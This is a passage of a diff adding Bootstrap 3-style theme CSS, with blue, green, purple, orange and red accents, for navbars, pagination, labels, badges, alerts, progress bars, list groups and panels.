+.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.navbar { + position: relative; + min-height: 50px; + margin-bottom: 21px; + border: 1px solid transparent; +} +@media (min-width: 768px) { + .navbar { + border-radius: 0; + } +} +@media (min-width: 768px) { + .navbar-header { + float: left; + } +} +.navbar-collapse { + overflow-x: visible; + padding-right: 15px; + padding-left: 15px; + border-top: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1); + -webkit-overflow-scrolling: touch; +} +.navbar-collapse.in { + overflow-y: auto; +} +@media (min-width: 768px) { + .navbar-collapse { + width: auto; + border-top: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-collapse.collapse { + display: block !important; + visibility: visible !important; + height: auto !important; + padding-bottom: 0; + overflow: visible !important; + } + .navbar-collapse.in { + overflow-y: visible; + } + .navbar-fixed-top .navbar-collapse, + .navbar-static-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + padding-left: 0; + padding-right: 0; + } +} +.navbar-fixed-top .navbar-collapse, +.navbar-fixed-bottom .navbar-collapse { + max-height: 340px; +} +@media (max-device-width: 480px) and (orientation: landscape) { + .navbar-fixed-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + max-height: 200px; + } +} +.container > .navbar-header, +.container-fluid > .navbar-header, +.container > .navbar-collapse, +.container-fluid > .navbar-collapse { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .container > .navbar-header, + .container-fluid > .navbar-header, + .container > .navbar-collapse, + .container-fluid > .navbar-collapse { + margin-right: 0; + margin-left: 0; + } +} +.navbar-static-top { + z-index: 1000; + border-width: 0 0 1px; +} +@media (min-width: 768px) { + .navbar-static-top { + border-radius: 0; + } +} +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; +} +@media (min-width: 768px) { + .navbar-fixed-top, + .navbar-fixed-bottom { + border-radius: 0; + } +} +.navbar-fixed-top { + top: 0; + border-width: 0 0 1px; +} +.navbar-fixed-bottom { + bottom: 0; + margin-bottom: 0; + border-width: 1px 0 0; +} +.navbar-brand { + float: left; + padding: 14.5px 15px; + font-size: 19px; + line-height: 21px; + height: 50px; +} +.navbar-brand:hover, +.navbar-brand:focus { + text-decoration: none; +} +.navbar-brand > img { + display: block; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-left: -15px; + } +} +.navbar-toggle { + position: relative; + float: right; + margin-right: 15px; + padding: 9px 10px; + margin-top: 8px; + margin-bottom: 8px; + background-color: transparent; + background-image: none; + border: 1px solid transparent; + border-radius: 0; +} +.navbar-toggle:focus { + outline: 0; +} +.navbar-toggle .icon-bar { + display: block; + width: 22px; + height: 2px; + border-radius: 1px; +} +.navbar-toggle .icon-bar + .icon-bar { + margin-top: 4px; +} +@media (min-width: 768px) { + .navbar-toggle { + display: none; + } +} +.navbar-nav { + margin: 7.25px -15px; +} +.navbar-nav > li > a { + padding-top: 10px; + padding-bottom: 10px; + line-height: 21px; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu { + position: static; + float: none; + width: auto; + margin-top: 0; + background-color: transparent; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 15px 5px 25px; + } + .navbar-nav .open .dropdown-menu > li > a { + line-height: 21px; + } + .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-nav .open .dropdown-menu > li > a:focus { + background-image: none; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: left; + margin: 0; + } + .navbar-nav > li { + float: left; + } + .navbar-nav > li > a { + padding-top: 14.5px; + padding-bottom: 14.5px; + } +} +.navbar-form { + margin-left: -15px; + margin-right: -15px; + padding: 10px 15px; + border-top: 1px solid transparent; + border-bottom: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1); + margin-top: 3.5px; + margin-bottom: 3.5px; +} +@media (min-width: 768px) { + .navbar-form .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .navbar-form .form-control-static { + display: inline-block; + } + .navbar-form .input-group { + display: inline-table; + vertical-align: middle; + } + .navbar-form .input-group .input-group-addon, + .navbar-form .input-group .input-group-btn, + .navbar-form .input-group .form-control { + width: auto; + } + .navbar-form .input-group > .form-control { + width: 100%; + } + .navbar-form .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio, + .navbar-form .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio label, + .navbar-form .checkbox label { + padding-left: 0; + } + .navbar-form .radio input[type="radio"], + .navbar-form .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .navbar-form .has-feedback .form-control-feedback { + top: 0; + } +} +@media (max-width: 767px) { + .navbar-form .form-group { + margin-bottom: 5px; + } + .navbar-form .form-group:last-child { + margin-bottom: 0; + } +} +@media (min-width: 768px) { + .navbar-form { + width: auto; + border: 0; + margin-left: 0; + margin-right: 0; + padding-top: 0; + padding-bottom: 0; + -webkit-box-shadow: none; + box-shadow: none; + } +} +.navbar-nav > li > .dropdown-menu { + margin-top: 0; + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { + margin-bottom: 0; + border-top-right-radius: 0; + border-top-left-radius: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.navbar-btn { + margin-top: 3.5px; + margin-bottom: 3.5px; +} +.navbar-btn.btn-sm { + margin-top: 9.5px; + margin-bottom: 9.5px; +} +.navbar-btn.btn-xs { + margin-top: 14px; + margin-bottom: 14px; +} +.navbar-text { + margin-top: 14.5px; + margin-bottom: 14.5px; +} +@media (min-width: 768px) { + .navbar-text { + float: left; + margin-left: 15px; + margin-right: 15px; + } +} +@media (min-width: 768px) { + .navbar-left { + float: left !important; + } + .navbar-right { + float: right !important; + margin-right: -15px; + } + .navbar-right ~ .navbar-right { + margin-right: 0; + } +} +.navbar-default { + background-color: #222222; + border-color: #121212; +} +.navbar-default .navbar-brand { + color: #ffffff; +} +.navbar-default .navbar-brand:hover, +.navbar-default .navbar-brand:focus { + color: #ffffff; + background-color: none; +} +.navbar-default .navbar-text { + color: #ffffff; +} +.navbar-default .navbar-nav > li > a { + color: #ffffff; +} +.navbar-default .navbar-nav > li > a:hover, +.navbar-default .navbar-nav > li > a:focus { + color: #ffffff; + background-color: #090909; +} +.navbar-default .navbar-nav > .active > a, +.navbar-default .navbar-nav > .active > a:hover, +.navbar-default .navbar-nav > .active > a:focus { + color: #ffffff; + background-color: #090909; +} +.navbar-default .navbar-nav > .disabled > a, +.navbar-default .navbar-nav > .disabled > a:hover, +.navbar-default .navbar-nav > .disabled > a:focus { + color: #cccccc; + background-color: transparent; +} +.navbar-default .navbar-toggle { + border-color: transparent; +} +.navbar-default .navbar-toggle:hover, +.navbar-default .navbar-toggle:focus { + background-color: #090909; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #ffffff; +} +.navbar-default .navbar-collapse, +.navbar-default .navbar-form { + border-color: #121212; +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .open > a:hover, +.navbar-default .navbar-nav > .open > a:focus { + background-color: #090909; + color: #ffffff; +} +@media (max-width: 767px) { + .navbar-default .navbar-nav .open .dropdown-menu > li > a { + color: #ffffff; + } + .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { + color: #ffffff; + background-color: #090909; + } + .navbar-default .navbar-nav .open .dropdown-menu > .active > a, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #ffffff; + background-color: #090909; + } + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #cccccc; + background-color: transparent; + } +} +.navbar-default .navbar-link { + color: #ffffff; +} +.navbar-default .navbar-link:hover { + color: #ffffff; +} +.navbar-default .btn-link { + color: #ffffff; +} +.navbar-default .btn-link:hover, +.navbar-default .btn-link:focus { + color: #ffffff; +} +.navbar-default .btn-link[disabled]:hover, +fieldset[disabled] .navbar-default .btn-link:hover, +.navbar-default .btn-link[disabled]:focus, +fieldset[disabled] .navbar-default .btn-link:focus { + color: #cccccc; +} +.navbar-inverse { + background-color: #2780e3; + border-color: #1967be; +} +.navbar-inverse .navbar-brand { + color: #ffffff; +} +.navbar-inverse .navbar-brand:hover, +.navbar-inverse .navbar-brand:focus { + color: #ffffff; + background-color: none; +} +.navbar-inverse .navbar-text { + color: #ffffff; +} +.navbar-inverse .navbar-nav > li > a { + color: #ffffff; +} +.navbar-inverse .navbar-nav > li > a:hover, +.navbar-inverse .navbar-nav > li > a:focus { + color: #ffffff; + background-color: #1967be; +} +.navbar-inverse .navbar-nav > .active > a, +.navbar-inverse .navbar-nav > .active > a:hover, +.navbar-inverse .navbar-nav > .active > a:focus { + color: #ffffff; + background-color: #1967be; +} +.navbar-inverse .navbar-nav > .disabled > a, +.navbar-inverse .navbar-nav > .disabled > a:hover, +.navbar-inverse .navbar-nav > .disabled > a:focus { + color: #ffffff; + background-color: transparent; +} +.navbar-inverse .navbar-toggle { + border-color: transparent; +} +.navbar-inverse .navbar-toggle:hover, +.navbar-inverse .navbar-toggle:focus { + background-color: #1967be; +} +.navbar-inverse .navbar-toggle .icon-bar { + background-color: #ffffff; +} +.navbar-inverse .navbar-collapse, +.navbar-inverse .navbar-form { + border-color: #1a6ecc; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .open > a:hover, +.navbar-inverse .navbar-nav > .open > a:focus { + background-color: #1967be; + color: #ffffff; +} +@media (max-width: 767px) { + .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { + border-color: #1967be; + } + .navbar-inverse .navbar-nav .open .dropdown-menu .divider { + background-color: #1967be; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { + color: #ffffff; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { + color: #ffffff; + background-color: #1967be; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #ffffff; + background-color: #1967be; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #ffffff; + background-color: transparent; + } +} +.navbar-inverse .navbar-link { + color: #ffffff; +} +.navbar-inverse .navbar-link:hover { + color: #ffffff; +} +.navbar-inverse .btn-link { + color: #ffffff; +} +.navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link:focus { + color: #ffffff; +} +.navbar-inverse .btn-link[disabled]:hover, +fieldset[disabled] .navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link[disabled]:focus, +fieldset[disabled] .navbar-inverse .btn-link:focus { + color: #ffffff; +} +.breadcrumb { + padding: 8px 15px; + margin-bottom: 21px; + list-style: none; + background-color: #f5f5f5; + border-radius: 0; +} +.breadcrumb > li { + display: inline-block; +} +.breadcrumb > li + li:before { + content: "/\00a0"; + padding: 0 5px; + color: #cccccc; +} +.breadcrumb > .active { + color: #999999; +} +.pagination { + display: inline-block; + padding-left: 0; + margin: 21px 0; + border-radius: 0; +} +.pagination > li { + display: inline; +} +.pagination > li > a, +.pagination > li > span { + position: relative; + float: left; + padding: 10px 18px; + line-height: 1.42857143; + text-decoration: none; + color: #2780e3; + background-color: #ffffff; + border: 1px solid #dddddd; + margin-left: -1px; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.pagination > li > a:hover, +.pagination > li > span:hover, +.pagination > li > a:focus, +.pagination > li > span:focus { + color: #165ba8; + background-color: #e6e6e6; + border-color: #dddddd; +} +.pagination > .active > a, +.pagination > .active > span, +.pagination > .active > a:hover, +.pagination > .active > span:hover, +.pagination > .active > a:focus, +.pagination > .active > span:focus { + z-index: 2; + color: #999999; + background-color: #f5f5f5; + border-color: #dddddd; + cursor: default; +} +.pagination > .disabled > span, +.pagination > .disabled > span:hover, +.pagination > .disabled > span:focus, +.pagination > .disabled > a, +.pagination > .disabled > a:hover, +.pagination > .disabled > a:focus { + color: #999999; + background-color: #ffffff; + border-color: #dddddd; + cursor: not-allowed; +} +.pagination-lg > li > a, +.pagination-lg > li > span { + padding: 18px 30px; + font-size: 19px; +} +.pagination-lg > li:first-child > a, +.pagination-lg > li:first-child > span { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.pagination-lg > li:last-child > a, +.pagination-lg > li:last-child > span { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.pagination-sm > li > a, +.pagination-sm > li > span { + padding: 5px 10px; + font-size: 13px; +} +.pagination-sm > li:first-child > a, +.pagination-sm > li:first-child > span { + border-bottom-left-radius: 0; + border-top-left-radius: 0; +} +.pagination-sm > li:last-child > a, +.pagination-sm > li:last-child > span { + border-bottom-right-radius: 0; + border-top-right-radius: 0; +} +.pager { + padding-left: 0; + margin: 21px 0; + list-style: none; + text-align: center; +} +.pager li { + display: inline; +} +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #ffffff; + border: 1px solid #dddddd; + border-radius: 0; +} +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #e6e6e6; +} +.pager .next > a, +.pager .next > span { + float: right; +} +.pager .previous > a, +.pager .previous > span { + float: left; +} +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #999999; + background-color: #ffffff; + cursor: not-allowed; +} +.label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: bold; + line-height: 1; + color: #ffffff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; +} +a.label:hover, +a.label:focus { + color: #ffffff; + text-decoration: none; + cursor: pointer; +} +.label:empty { + display: none; +} +.btn .label { + position: relative; + top: -1px; +} +.label-default { + background-color: #222222; +} +.label-default[href]:hover, +.label-default[href]:focus { + background-color: #090909; +} +.label-primary { + background-color: #2780e3; +} +.label-primary[href]:hover, +.label-primary[href]:focus { + background-color: #1967be; +} +.label-success { + background-color: #3fb618; +} +.label-success[href]:hover, +.label-success[href]:focus { + background-color: #2f8912; +} +.label-info { + background-color: #9954bb; +} +.label-info[href]:hover, +.label-info[href]:focus { + background-color: #7e3f9d; +} +.label-warning { + background-color: #ff7518; +} +.label-warning[href]:hover, +.label-warning[href]:focus { + background-color: #e45c00; +} +.label-danger { + background-color: #ff0039; +} +.label-danger[href]:hover, +.label-danger[href]:focus { + background-color: #cc002e; +} +.badge { + display: inline-block; + min-width: 10px; + padding: 3px 7px; + font-size: 13px; + font-weight: bold; + color: #ffffff; + line-height: 1; + vertical-align: baseline; + white-space: nowrap; + text-align: center; + background-color: #2780e3; + border-radius: 10px; +} +.badge:empty { + display: none; +} +.btn .badge { + position: relative; + top: -1px; +} +.btn-xs .badge { + top: 0; + padding: 1px 5px; +} +a.badge:hover, +a.badge:focus { + color: #ffffff; + text-decoration: none; + cursor: pointer; +} +.list-group-item.active > .badge, +.nav-pills > .active > a > .badge { + color: #2780e3; + background-color: #ffffff; +} +.list-group-item > .badge { + float: right; +} +.list-group-item > .badge + .badge { + margin-right: 5px; +} +.nav-pills > li > a > .badge { + margin-left: 3px; +} +.jumbotron { + padding: 30px 15px; + margin-bottom: 30px; + color: inherit; + background-color: #e6e6e6; +} +.jumbotron h1, +.jumbotron .h1 { + color: inherit; +} +.jumbotron p { + margin-bottom: 15px; + font-size: 23px; + font-weight: 200; +} +.jumbotron > hr { + border-top-color: #cccccc; +} +.container .jumbotron, +.container-fluid .jumbotron { + border-radius: 0; +} +.jumbotron .container { + max-width: 100%; +} +@media screen and (min-width: 768px) { + .jumbotron { + padding: 48px 0; + } + .container .jumbotron, + .container-fluid .jumbotron { + padding-left: 60px; + padding-right: 60px; + } + .jumbotron h1, + .jumbotron .h1 { + font-size: 67.5px; + } +} +.thumbnail { + display: block; + padding: 4px; + margin-bottom: 21px; + line-height: 1.42857143; + background-color: #ffffff; + border: 1px solid #dddddd; + border-radius: 0; + -webkit-transition: border 0.2s ease-in-out; + -o-transition: border 0.2s ease-in-out; + transition: border 0.2s ease-in-out; +} +.thumbnail > img, +.thumbnail a > img { + margin-left: auto; + margin-right: auto; +} +a.thumbnail:hover, +a.thumbnail:focus, +a.thumbnail.active { + border-color: #2780e3; +} +.thumbnail .caption { + padding: 9px; + color: #333333; +} +.alert { + padding: 15px; + margin-bottom: 21px; + border: 1px solid transparent; + border-radius: 0; +} +.alert h4 { + margin-top: 0; + color: inherit; +} +.alert .alert-link { + font-weight: bold; +} +.alert > p, +.alert > ul { + margin-bottom: 0; +} +.alert > p + p { + margin-top: 5px; +} +.alert-dismissable, +.alert-dismissible { + padding-right: 35px; +} +.alert-dismissable .close, +.alert-dismissible .close { + position: relative; + top: -2px; + right: -21px; + color: inherit; +} +.alert-success { + background-color: #3fb618; + border-color: #4e9f15; + color: #ffffff; +} +.alert-success hr { + border-top-color: #438912; +} +.alert-success .alert-link { + color: #e6e6e6; +} +.alert-info { + background-color: #9954bb; + border-color: #7643a8; + color: #ffffff; +} +.alert-info hr { + border-top-color: #693c96; +} +.alert-info .alert-link { + color: #e6e6e6; +} +.alert-warning { + background-color: #ff7518; + border-color: #ff4309; + color: #ffffff; +} +.alert-warning hr { + border-top-color: #ee3800; +} +.alert-warning .alert-link { + color: #e6e6e6; +} +.alert-danger { + background-color: #ff0039; + border-color: #f0005e; + color: #ffffff; +} +.alert-danger hr { + border-top-color: #d60054; +} +.alert-danger .alert-link { + color: #e6e6e6; +} +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@-o-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +.progress { + overflow: hidden; + height: 21px; + margin-bottom: 21px; + background-color: #cccccc; + border-radius: 0; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +.progress-bar { + float: left; + width: 0%; + height: 100%; + font-size: 13px; + line-height: 21px; + color: #ffffff; + text-align: center; + background-color: #2780e3; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15); + -webkit-transition: width 0.6s ease; + -o-transition: width 0.6s ease; + transition: width 0.6s ease; +} +.progress-striped .progress-bar, +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + background-size: 40px 40px; +} +.progress.active .progress-bar, +.progress-bar.active { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} +.progress-bar-success { + background-color: #3fb618; +} +.progress-striped .progress-bar-success { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} +.progress-bar-info { + background-color: #9954bb; +} +.progress-striped .progress-bar-info { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} +.progress-bar-warning { + background-color: #ff7518; +} +.progress-striped .progress-bar-warning { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} +.progress-bar-danger { + background-color: #ff0039; +} +.progress-striped .progress-bar-danger { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} +.media { + margin-top: 15px; +} +.media:first-child { + margin-top: 0; +} +.media, +.media-body { + zoom: 1; + overflow: hidden; +} +.media-body { + width: 10000px; +} +.media-object { + display: block; +} +.media-right, +.media > .pull-right { + padding-left: 10px; +} +.media-left, +.media > .pull-left { + padding-right: 10px; +} +.media-left, +.media-right, +.media-body { + display: table-cell; + vertical-align: top; +} +.media-middle { + vertical-align: middle; +} +.media-bottom { + vertical-align: bottom; +} +.media-heading { + margin-top: 0; + margin-bottom: 5px; +} +.media-list { + padding-left: 0; + list-style: none; +} +.list-group { + margin-bottom: 20px; + padding-left: 0; +} +.list-group-item { + position: relative; + display: block; + padding: 10px 15px; + margin-bottom: -1px; + background-color: #ffffff; + border: 1px solid #dddddd; +} +.list-group-item:first-child { + border-top-right-radius: 0; + border-top-left-radius: 0; +} +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +a.list-group-item { + color: #555555; +} +a.list-group-item .list-group-item-heading { + color: #333333; +} +a.list-group-item:hover, +a.list-group-item:focus { + text-decoration: none; + color: #555555; + background-color: #f5f5f5; +} +.list-group-item.disabled, +.list-group-item.disabled:hover, +.list-group-item.disabled:focus { + background-color: #e6e6e6; + color: #999999; + cursor: not-allowed; +} +.list-group-item.disabled .list-group-item-heading, +.list-group-item.disabled:hover .list-group-item-heading, +.list-group-item.disabled:focus .list-group-item-heading { + color: inherit; +} +.list-group-item.disabled .list-group-item-text, +.list-group-item.disabled:hover .list-group-item-text, +.list-group-item.disabled:focus .list-group-item-text { + color: #999999; +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + z-index: 2; + color: #ffffff; + background-color: #2780e3; + border-color: #dddddd; +} +.list-group-item.active .list-group-item-heading, +.list-group-item.active:hover .list-group-item-heading, +.list-group-item.active:focus .list-group-item-heading, +.list-group-item.active .list-group-item-heading > small, +.list-group-item.active:hover .list-group-item-heading > small, +.list-group-item.active:focus .list-group-item-heading > small, +.list-group-item.active .list-group-item-heading > .small, +.list-group-item.active:hover .list-group-item-heading > .small, +.list-group-item.active:focus .list-group-item-heading > .small { + color: inherit; +} +.list-group-item.active .list-group-item-text, +.list-group-item.active:hover .list-group-item-text, +.list-group-item.active:focus .list-group-item-text { + color: #dceafa; +} +.list-group-item-success { + color: #ffffff; + background-color: #3fb618; +} +a.list-group-item-success { + color: #ffffff; +} +a.list-group-item-success .list-group-item-heading { + color: inherit; +} +a.list-group-item-success:hover, +a.list-group-item-success:focus { + color: #ffffff; + background-color: #379f15; +} +a.list-group-item-success.active, +a.list-group-item-success.active:hover, +a.list-group-item-success.active:focus { + color: #fff; + background-color: #ffffff; + border-color: #ffffff; +} +.list-group-item-info { + color: #ffffff; + background-color: #9954bb; +} +a.list-group-item-info { + color: #ffffff; +} +a.list-group-item-info .list-group-item-heading { + color: inherit; +} +a.list-group-item-info:hover, +a.list-group-item-info:focus { + color: #ffffff; + background-color: #8d46b0; +} +a.list-group-item-info.active, +a.list-group-item-info.active:hover, +a.list-group-item-info.active:focus { + color: #fff; + background-color: #ffffff; + border-color: #ffffff; +} +.list-group-item-warning { + color: #ffffff; + background-color: #ff7518; +} +a.list-group-item-warning { + color: #ffffff; +} +a.list-group-item-warning .list-group-item-heading { + color: inherit; +} +a.list-group-item-warning:hover, +a.list-group-item-warning:focus { + color: #ffffff; + background-color: #fe6600; +} +a.list-group-item-warning.active, +a.list-group-item-warning.active:hover, +a.list-group-item-warning.active:focus { + color: #fff; + background-color: #ffffff; + border-color: #ffffff; +} +.list-group-item-danger { + color: #ffffff; + background-color: #ff0039; +} +a.list-group-item-danger { + color: #ffffff; +} +a.list-group-item-danger .list-group-item-heading { + color: inherit; +} +a.list-group-item-danger:hover, +a.list-group-item-danger:focus { + color: #ffffff; + background-color: #e60033; +} +a.list-group-item-danger.active, +a.list-group-item-danger.active:hover, +a.list-group-item-danger.active:focus { + color: #fff; + background-color: #ffffff; + border-color: #ffffff; +} +.list-group-item-heading { + margin-top: 0; + margin-bottom: 5px; +} +.list-group-item-text { + margin-bottom: 0; + line-height: 1.3; +} +.panel { + margin-bottom: 21px; + background-color: #ffffff; + border: 1px solid transparent; + border-radius: 0; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05); +} +.panel-body { + padding: 15px; +} +.panel-heading { + padding: 10px 15px; + border-bottom: 1px solid transparent; + border-top-right-radius: -1; + border-top-left-radius: -1; +} +.panel-heading > .dropdown .dropdown-toggle { + color: inherit; +} +.panel-title { + margin-top: 0; + margin-bottom: 0; + font-size: 17px; + color: inherit; +} +.panel-title > a, +.panel-title > small, +.panel-title > .small, +.panel-title > small > a, +.panel-title > .small > a { + color: inherit; +} +.panel-footer { + padding: 10px 15px; + background-color: #f5f5f5; + border-top: 1px solid #dddddd; + border-bottom-right-radius: -1; + border-bottom-left-radius: -1; +} +.panel > .list-group, +.panel > .panel-collapse > .list-group { + margin-bottom: 0; +} +.panel > .list-group .list-group-item, +.panel > .panel-collapse > .list-group .list-group-item { + border-width: 1px 0; + border-radius: 0; +} +.panel > .list-group:first-child .list-group-item:first-child, +.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child { + border-top: 0; + border-top-right-radius: -1; + border-top-left-radius: -1; +} +.panel > .list-group:last-child .list-group-item:last-child, +.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child { + border-bottom: 0; + border-bottom-right-radius: -1; + border-bottom-left-radius: -1; +} +.panel-heading + .list-group .list-group-item:first-child { + border-top-width: 0; +} +.list-group + .panel-footer { + border-top-width: 0; +} +.panel > .table, +.panel > .table-responsive > .table, +.panel > .panel-collapse > .table { + margin-bottom: 0; +} +.panel > .table caption, +.panel > .table-responsive > .table caption, +.panel > .panel-collapse > .table caption { + padding-left: 15px; + padding-right: 15px; +} +.panel > .table:first-child, +.panel > .table-responsive:first-child > .table:first-child { + border-top-right-radius: -1; + border-top-left-radius: -1; +} +.panel > .table:first-child > thead:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child, +.panel > .table:first-child > tbody:first-child > tr:first-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child 